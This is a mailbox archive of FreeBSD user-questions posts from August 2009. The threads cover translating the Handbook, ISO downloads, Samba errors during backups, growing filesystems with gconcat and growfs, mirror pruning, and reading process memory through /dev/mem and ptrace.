VQQDExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzdGV2ZUBpYmN0 ZWNoLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlJNECM/VFVrzv+admf48 FNsQ2DKGEEnitYCmZo1y2HNF2TYMH/j0qtfHcRA/rTAuPgpTQMWSIY1WP0GdXFEDH9YNcrEY Le4YYQbqCPJa/woUxYywf2YvvLu42jDUe55PqllR/2jJjwTB37TVCkaLsV9c5p7uUYeFsTCc QkbDPTzK1F8uYfQq0TOVlqdlmHAMZfmzWQgefLF0AKHdvJdjpnZs6vHStytAcKccmmnF11Hr QXuKCNoy4EWy0TnWH1dOBcM0oluCWpO6DmCEaKE24/pWwE3u57rbL3pQYgTbZO8oRwBDrrm9 AaMepl5LNljL6FY05rbulYWaGWoWPHTHwwIDAQABoy0wKzAbBgNVHREEFDASgRBzdGV2ZUBp YmN0ZWNoLmNhMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEFBQADgYEAw6aPGOnZfOTpkcvB OAUPNWGb3xGNFPdRei0qM0hHtKDB9YXnCQmvHgj51e66LnO0wSrhtNNGAnfjgyoTq5mJmWD6 0EgUdkYIl8p3OxfhC5XaObDSxHl0xpjEbq2UMHRhQy+BOrNXtkOmK6xMw5l72k/U93EWE5wg le0xAOPkuG4wggM/MIICqKADAgECAgENMA0GCSqGSIb3DQEBBQUAMIHRMQswCQYDVQQGEwJa QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG 9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3MDAwMDAwWhcN MTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRp bmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vp bmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f 6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/Ef kTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7 AgMBAAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRw Oi8vY3JsLnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8E BAMCAQYwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqG SIb3DQEBBQUAA4GBAEiM0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQc UCCTcDz9reFhYsPZOhl+hLGZGwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bG CE6u9uo05RAaWzVNd+NWIXiC3CEZNd4ksdMdRv9dX2VPMYIDZDCCA2ACAQEwdjBiMQswCQYD VQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UE AxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEEs5xg/J3t77QWJ4SatV 1HcwCQYFKw4DAhoFAKCCAcMwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMDkwODI4MTI0MzI2WjAjBgkqhkiG9w0BCQQxFgQU99gnD2aGGn8VgnfPYE18DPgD 3rQwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZI hvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgYUGCSsGAQQBgjcQBDF4MHYwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAq BgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAhBLOcYPyd7e+0Fi eEmrVdR3MIGHBgsqhkiG9w0BCRACCzF4oHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRo YXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBG cmVlbWFpbCBJc3N1aW5nIENBAhBLOcYPyd7e+0FieEmrVdR3MA0GCSqGSIb3DQEBAQUABIIB AII6IXido5cdmn34/eit7hBkJK3YNW2sdx6IxFtefGP1UffiUDoFeHP7nQfeiw8JeUldvUVI ESRRHNPnH9FlEuFOezaSWr0Uk5K4HDZQeZidtcv8OxJ/9atNSnHauaEAWL0fe0eAznC2kIJd Sg91C2EJQ1dANKkP5CbkXExqZHCNJ0QAWBDyXJZL7I98HH0JU8MMkEhQTWzjRxnfwCSklfGh J05xd5mTK+RjDjjy7HDCHty6FFFSbSe2bSUOrGMLdTuVd1hRH8kL5hs4VobADM04KiZGNMxZ owZujIUduCFF+u8N5HZu++4296LeeC8pI8c8rXDvKzYLx/aVACjFPtwAAAAAAAA= --------------ms020506060709030904080705-- From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 13:56:56 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 86D4E1065675 for ; Fri, 28 Aug 2009 13:56:56 +0000 (UTC) (envelope-from pirat@tint.or.th) Received: from mail.tint.or.th (ns2.tint.or.th [122.154.13.210]) by mx1.freebsd.org (Postfix) with SMTP id 6C2E48FC2E for ; Fri, 28 Aug 2009 13:56:54 +0000 (UTC) Received: (qmail 7554 invoked from network); 28 Aug 2009 13:25:41 -0000 Received: from www.tint.or.th (HELO alpha.nst.or.th) (122.154.13.80) by mail.tint.or.th with SMTP; 28 Aug 2009 13:25:41 -0000 Received: from 125.25.236.27.adsl.dynamic.totbb.net (125.25.236.27.adsl.dynamic.totbb.net [125.25.236.27]) by webmail.tint.or.th (Horde Framework) with HTTP; Fri, 28 Aug 2009 20:12:19 +0700 Message-ID: <20090828201219.20894ysqzd3u596b@webmail.tint.or.th> X-Priority: 3 (Normal) Date: Fri, 28 Aug 2009 20:12:19 +0700 From: =?utf-8?b?4LmE4Lie4Lij4Lix4LiKIA==?= =?utf-8?b?4Lio4Lij4Li14LmC4Lii4LiY4Liy?= To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Internet Messaging Program (IMP) H3 (4.3) Subject: various classes in FDP X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 13:56:56 -0000 hi sirs, am translating freebsd handbook into thai. i would like to know where =20 i can find such classes as FIGURE, SECT1, KEYCAP and so on that using =20 in handbook. i can not find them in docbook.css. many thanks in advance for any helps and hints with best regards, psr --=20 =E0=B8=A1=E0=B8=B0=E0=B9=84=E0=B8=9F =E0=B8=85=E0=B8=99=E0=B9=80=E0=B8=AB=E0= =B8=A5=E0=B8=B4=E0=B8=87=E0=B8=9F=E0=B9=89=E0=B8=B2 =E0=B8=A1=E0=B8=B0=E0=B8=82=E0=B8=B2=E0=B8=A1 =E0=B8=84=E0=B8=B4=E0=B8=99=E0= =B9=80=E0=B8=94=E0=B8=B4=E0=B8=99=E0=B8=94=E0=B8=99 http://makham.blogspot.com ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 14:29:34 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3A36C106566B for ; Fri, 28 Aug 2009 14:29:34 +0000 (UTC) (envelope-from nikopubbsi@yahoo.de) Received: from web28401.mail.ukl.yahoo.com (web28401.mail.ukl.yahoo.com [87.248.110.150]) by mx1.freebsd.org (Postfix) with SMTP id 84D518FC18 for ; Fri, 28 Aug 2009 14:29:33 +0000 (UTC) Received: (qmail 61459 invoked by uid 60001); 28 Aug 2009 14:02:51 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.de; s=s1024; t=1251468171; bh=wUzb+jBMMGTGpPMnmL46jDmaI7zF7FxiOrgmzUPe2Zo=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=2P31uYXZu5aB4cVjWTpu0mpoo1ZSyCaFCVX98CcDaKiCMQQ8MClOGBEi8/BXUhZkIq/LfGpla/MkU4OYui9sOZMxuadWWB6c9a22DRGsCcI3Dq2wKgMYw8BGr21/7ZlKDSkHLzCablxt1WAwJr1Z3USZnaTcXKmvT/PBZEvj+d4= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.de; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=o6QtST2Y/UOlGLAqXEL4rXA64KSOm78lB/ba2V8z9tv/BR79Dbm/sHvxK2/eAx85ujTvmpBEmUDZkrMu0TwINWZJpAWdPTgxvlBF7piCut0/vaauJVN6eEQ962yeohXNSPThaPCgOikB5iFbWUmZCZ8LfDfRDovfhrqgn/BPWUw=; Message-ID: <32182.61138.qm@web28401.mail.ukl.yahoo.com> X-YMail-OSG: 8fLVA1cVM1nHlHGqXbn34BmhmJdyuyQ7fkVXbCiqRpdWFXvYuU5Rd1dujTB1xPbzLuLWZxTLYD8u6mOVOvIJ_ontoD58o.LnCSnkx_MbmdpIXHhZo1gAjJFtri2Q5eL4.TkXd7uYBLTlu9JbCxLLL8Cyznek0tDmqvwiFFNgzmuMrUx1JMl9pVo54IZTuuohTXcWwNeRy5LozVSmDfl7bdYoKA8RLoqT0Y2SxBYnzjlE5BE8rbPbhHcgx6cN07SwgGimweo7SecdxVjjUFV5ew-- Received: from [79.217.56.193] by web28401.mail.ukl.yahoo.com via HTTP; Fri, 28 Aug 2009 14:02:50 GMT X-Mailer: YahooMailClassic/6.1.2 YahooMailWebService/0.7.338.2 Date: Fri, 28 Aug 2009 14:02:50 +0000 (GMT) From: niko Pubbsi To: freebsd-questions@FreeBSD.org MIME-Version: 1.0 X-Mailman-Approved-At: Fri, 28 Aug 2009 15:32:20 +0000 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: 7.2-relase X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 14:29:34 -0000 Hello I have a question can you give me the 7.2-relase-i386-dvd1.iso data but not= the rar i need only=20 the data for virtual machine rgds Niko =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 15:41:28 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 901F0106567A for ; Fri, 28 Aug 2009 15:41:28 +0000 (UTC) (envelope-from stanb@panix.com) Received: from l2mail1.panix.com (l2mail1.panix.com [166.84.1.75]) by mx1.freebsd.org (Postfix) with ESMTP id 31BDA8FC13 for ; Fri, 28 Aug 2009 15:41:28 +0000 (UTC) Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by l2mail1.panix.com (Postfix) with ESMTP id 954C9DA for ; Fri, 28 Aug 2009 11:26:11 -0400 (EDT) Received: from mailbackend.panix.com (mailbackend.panix.com [166.84.1.89]) by mail1.panix.com (Postfix) with ESMTP id 66F491F09C for ; Fri, 28 Aug 2009 11:26:10 -0400 (EDT) Received: from teddy.fas.com (c-76-26-200-187.hsd1.sc.comcast.net [76.26.200.187]) by mailbackend.panix.com (Postfix) with ESMTP id 4571D37047 for ; Fri, 28 Aug 2009 11:26:10 -0400 (EDT) Received: from stan by teddy.fas.com with local (Exim 3.36 #1 (Debian)) id 1Mh3L7-0005GC-00 for ; Fri, 28 Aug 2009 11:26:09 -0400 Date: Fri, 28 Aug 2009 11:26:09 -0400 From: stan To: Free BSD Questions list Message-ID: <20090828152609.GA20093@teddy.fas.com> Mail-Followup-To: Free BSD Questions list Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Editor: gVim X-Operating-System: Debian GNU/Linux X-Kernel-Version: 2.4.23 X-Uptime: 08:58:07 up 27 days, 13:59, 1 user, load average: 0.00, 0.02, 0.00 User-Agent: Mutt/1.5.4i Sender: Stan Brown Subject: Samba and busy network X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 15:41:28 -0000 I have a FreeBSD machine serving as (among other things) a Samba server for an XP instance running under VirtualBox. The XP application is a data gathering one that polls continuously. I have set up things so that XP mounts the Samba share, and logs it's data there. Problem is that every morning I come in to find that the XP app is complaining of disk problems from the share. I am fairly certain that this problem is occurring in the middle of the night, when my Amanda backups run. This does load the network fairly good. The FreeBSD box, and the Linux box are on the same switch, and same subnet. Anyone have suggestions as to how to address this issue? -- One of the main causes of the fall of the roman empire was that, lacking zero, they had no way to indicate successful termination of their C programs. From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 16:20:29 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 004851065673 for ; Fri, 28 Aug 2009 16:20:28 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr3.xs4all.nl (smtp-vbr3.xs4all.nl [194.109.24.23]) by mx1.freebsd.org (Postfix) with ESMTP id 8AED88FC15 for ; Fri, 28 Aug 2009 16:20:26 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr3.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7SGKJPJ011815; Fri, 28 Aug 2009 18:20:19 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 572CFBAA6; Fri, 28 Aug 2009 18:20:19 +0200 (CEST) Date: Fri, 28 Aug 2009 18:20:19 +0200 From: Roland Smith To: Steve Bertrand Message-ID: <20090828162019.GA97064@slackbox.xs4all.nl> References: <4A97D0EE.4070304@ibctech.ca> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="wRRV7LY7NUeQGEoC" Content-Disposition: inline In-Reply-To: <4A97D0EE.4070304@ibctech.ca> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: "freebsd-questions@freebsd.org Questions -" Subject: Re: Reading raw memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 16:20:29 -0000 --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 28, 2009 at 08:43:26AM -0400, Steve Bertrand wrote: > Hi all, >=20 > I'm wondering if FreeBSD allows direct access to memory. Yes, via /dev/(k)mem. Byte offsets in /dev/mem are interpreted as physical memory adresses. See mem(4). Mind you that only root has access to this device be default. Giving others even read access is a security problem. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --wRRV7LY7NUeQGEoC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqYA8MACgkQEnfvsMMhpyX2pwCfZRdr9rRCzcZfBNt042rvrfEz H+IAoK5brS/a/Cv2M9kWOXff7Lunsduv =sR3j -----END PGP SIGNATURE----- --wRRV7LY7NUeQGEoC-- From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 16:25:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8CB9C1065672 for ; Fri, 28 Aug 2009 16:25:39 +0000 (UTC) (envelope-from daniel.loizos@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 1B4868FC13 for ; Fri, 28 Aug 2009 16:25:38 +0000 (UTC) Received: by bwz2 with SMTP id 2so1589792bwz.43 for ; Fri, 28 Aug 2009 09:25:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=HuVealt8zGkZgD54NhX7gZkq0RkUcf3HmLV0P1xRKzQ=; b=rv3d00JScvLVjXpNphyXU8h3EEEULbuxJesMPTESF3U4nXGpWqpbazEUjgWf0N5SG4 7cBvlZg/U0/T/4BKWEfIG5LflwBa12XT3d0i/no5C7cG5E08cqAd6YN02XhpqPeRq1J9 f8CMbrY8AooAFRdkN1/Sbayd4sFqqDzmP1z6M= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=q2Clp8e46atwvO3hBcaZoLLytR7OP384dxnjS9JPQOa4VkqZCkNigsoymiCEFBLB3E EY9J+bLvvahruCI/qLN/CajuwH4VNkUZNTopQcZxd/PbfbrQca+qQNYq2dGcaBLdP2Nv 1m5k7MtrIEFfNuwpVPP76EAplpxWpVuVtBByQ= MIME-Version: 1.0 Received: by 10.103.125.35 with SMTP id c35mr362298mun.30.1251474798719; Fri, 28 Aug 2009 08:53:18 -0700 (PDT) In-Reply-To: <32182.61138.qm@web28401.mail.ukl.yahoo.com> References: <32182.61138.qm@web28401.mail.ukl.yahoo.com> Date: Fri, 28 Aug 2009 16:53:18 +0100 Message-ID: <4f7eff380908280853l7db9b398hf0c9b2f9d340be0d@mail.gmail.com> From: Daniel Loizos To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: 7.2-relase X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 16:25:39 -0000 Hi Niko The iso files can be found here. As far as I know they are just ISO files and not the rars. NB this is the page for the i386 edition. If you are after any others (amd64 etc) go here . I hope this helps, and forgive me if you've looked at these places before, only you didn't specify, Best of luck Dan 2009/8/28 niko Pubbsi > Hello > > I have a question can you give me the 7.2-relase-i386-dvd1.iso data but not > the rar i need only > the data for virtual machine > > rgds > > Niko > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 17:18:07 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3F997106566B for ; Fri, 28 Aug 2009 17:18:07 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mail.gmx.com (unknown [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id 86F128FC1A for ; Fri, 28 Aug 2009 17:18:06 +0000 (UTC) Received: (qmail invoked by alias); 28 Aug 2009 17:18:03 -0000 Received: from adsl-23.79.107.25.tellas.gr (EHLO [192.168.23.10]) [79.107.25.23] by mail.gmx.com (mp-eu001) with SMTP; 28 Aug 2009 19:18:03 +0200 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1/aYmgw5nXaAmIUjn8zPFhlSP1qxqO6VEv4DRE9Pp oQkTvWa6U2UVRW Message-ID: <4A98112A.6030503@gmx.com> Date: Fri, 28 Aug 2009 20:17:30 +0300 From: Nikos Vassiliadis User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Ruben de Groot , Nikos Vassiliadis , RW , jalmberg@identry.com, freebsd-questions@freebsd.org References: <20090826142221.0807dc75@gumby.homeunix.com> <4A953EF3.5010305@gmx.com> <20090828095527.GA30068@ei.bzerk.org> In-Reply-To: <20090828095527.GA30068@ei.bzerk.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.5600000000000001 Cc: Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 17:18:07 -0000 Ruben de Groot wrote: > On Wed, Aug 26, 2009 at 04:56:03PM +0300, Nikos Vassiliadis typed: >> RW wrote: >>> On Wed, 26 Aug 2009 08:45:47 -0400 >>> John Almberg wrote: >>> >>> >>>> Question: is it possible to just expand my existing /backup >>>> partition to encompass both the current drive and the new drive? I'm >>>> guessing not, since Chapter 8 in "Absolute FreeBSD" says that a >>>> partition is part of a slice, >>> You can join 2 partitions into 1 with gconcat. OTOH that would wipe any >>> existing data as you would need to put a new filesystem on the combined >>> partition. >> No, you can always use growfs to expand the filesystem. >> But of course, the usual warnings apply, read carefully the >> growfs manual... > > You can not use growfs to expand a gconcat provider to the new gconcat device. What I mean is: 1) you have a filesystem on device A and a spare disk device B 2) concatenate A and B using gconcat 3) growfs the fs in the concatenated device and you are done. Nikos From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 17:38:16 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6F20810656D5 for ; Fri, 28 Aug 2009 17:38:16 +0000 (UTC) (envelope-from seklecki@noc.cfi.pgh.pa.us) Received: from mx04.pub.collaborativefusion.com (mx04.pub.collaborativefusion.com [206.210.72.84]) by mx1.freebsd.org (Postfix) with ESMTP id 35B728FC1E for ; Fri, 28 Aug 2009 17:38:15 +0000 (UTC) Received: from [192.168.2.161] ([206.210.89.202]) by mx04.pub.collaborativefusion.com (StrongMail Enterprise 4.1.1.4(4.1.1.4-47689)); Fri, 28 Aug 2009 13:13:52 -0400 X-VirtualServerGroup: Default X-MailingID: 00000::00000::00000::00000::::320 X-SMHeaderMap: mid="X-MailingID" X-Destination-ID: freebsd-questions@freebsd.org X-SMFBL: ZnJlZWJzZC1xdWVzdGlvbnNAZnJlZWJzZC5vcmc= DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=noc.cfi.pgh.pa.us; s=noc_cfi_pgh_pa_us_key_dkim; l=1132; t=1251479632; i=@noc.cfi.pgh.pa.us; h=Subject:From:To:Cc: In-Reply-To:References:Content-Type:Date:Message-Id:Mime-Version: X-Mailer:Content-Transfer-Encoding; bh=CScu0Eixl5q4HT9JdwIhPDJo7 /E=; b=B4OFLgI1AzhWw8bLZ5NlTSZgYEZW3ARqNb22bT5MLRzSMD82pAuJ20Pee zf51uKKZKbxg6YbMcvzeqqEr0utV+uu7aGPkAhGu+i5ioMppAwtoD7blzOF279p7 3jxe1Ci From: "Brian A. Seklecki" To: Duncan Hutty In-Reply-To: <4A949BD9.9010305@allgoodbits.org> References: <4A949BD9.9010305@allgoodbits.org> Content-Type: text/plain Date: Fri, 28 Aug 2009 13:38:14 -0400 Message-Id: <1251481094.25573.1660.camel@soundwave.ws.pitbpa0.priv.collaborativefusion.com> Mime-Version: 1.0 X-Mailer: Evolution 2.26.3 (2.26.3-1.fc11) Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Trying to make a mirror for a disconnected lab X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 17:38:16 -0000 On Tue, 2009-08-25 at 22:20 -0400, Duncan Hutty wrote: > > Q. ports/distfiles contains tarballs of multiple versions of each > software; I assume that I only need one version of each tarball. And > since this mirror as described comes to ~100GiB, how can I modify my For this you want portsclean(8) "-D" argument. Prunes out unused/unneeded distfiles. There's probably a way to do it with rsync based on date or whatnot; but it gets tricky. Every iteration of your sync script will bring back what you prune out. Q. ports/distfiles contains tarballs of multiple versions of each software; I assume that I only need one version of each tarball. And since this mirror as described comes to ~100GiB, how can I modify my rsync filter so I don't get anything more than either the latest tarball for each software package in distfiles or whichever version accords to the Makefiles provided by ports.tgz ~BAS > rsync filter so I don't get anything more than either the latest > tarball for each software package in distfiles or whichever version > accords to > the Makefiles provided by ports.tgz > From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 17:46:54 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C9BF4106566B for ; Fri, 28 Aug 2009 17:46:54 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from email2.allantgroup.com (email2.emsphone.com [199.67.51.116]) by mx1.freebsd.org (Postfix) with ESMTP id 8F4C08FC1E for ; Fri, 28 Aug 2009 17:46:54 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email2.allantgroup.com (8.14.0/8.14.0) with ESMTP id n7SHkp2Y017132 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 28 Aug 2009 12:46:51 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id n7SHkoOV029653 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 28 Aug 2009 12:46:51 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id n7SHko5E029602; Fri, 28 Aug 2009 12:46:50 -0500 (CDT) (envelope-from dan) Date: Fri, 28 Aug 2009 12:46:50 -0500 From: Dan Nelson To: Steve Bertrand Message-ID: <20090828174650.GA2855@dan.emsphone.com> References: <4A97D0EE.4070304@ibctech.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4A97D0EE.4070304@ibctech.ca> X-OS: FreeBSD 7.2-STABLE User-Agent: Mutt/1.5.19 (2009-01-05) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on email2.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email2.allantgroup.com [199.67.51.78]); Fri, 28 Aug 2009 12:46:51 -0500 (CDT) X-Scanned-By: MIMEDefang 2.45 Cc: "freebsd-questions@freebsd.org Questions -" Subject: Re: Reading raw memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 17:46:54 -0000 In the last episode (Aug 28), Steve Bertrand said: > I'm wondering if FreeBSD allows direct access to memory. > > What I'd like to do is try to force a Perl application to leak memory by > simulating a dangling pointer that it's garbage collection system can't > clean up. > > I'd then like to look at the raw memory address to find out if the data is > in a state where it could later be retrieved. >From within the perl process itself, it's easy. Just read the memory address directly. From another process, you will need to use the ptrace() function to attach to your target process as a debugger (PT_ATTACH). Then read its memory, using either PT_READ_D if you just want to read one int, or PT_IO, which will let you copy an arbitrary block of memory. > Is accessing memory like this permitted within the OS? If so, what 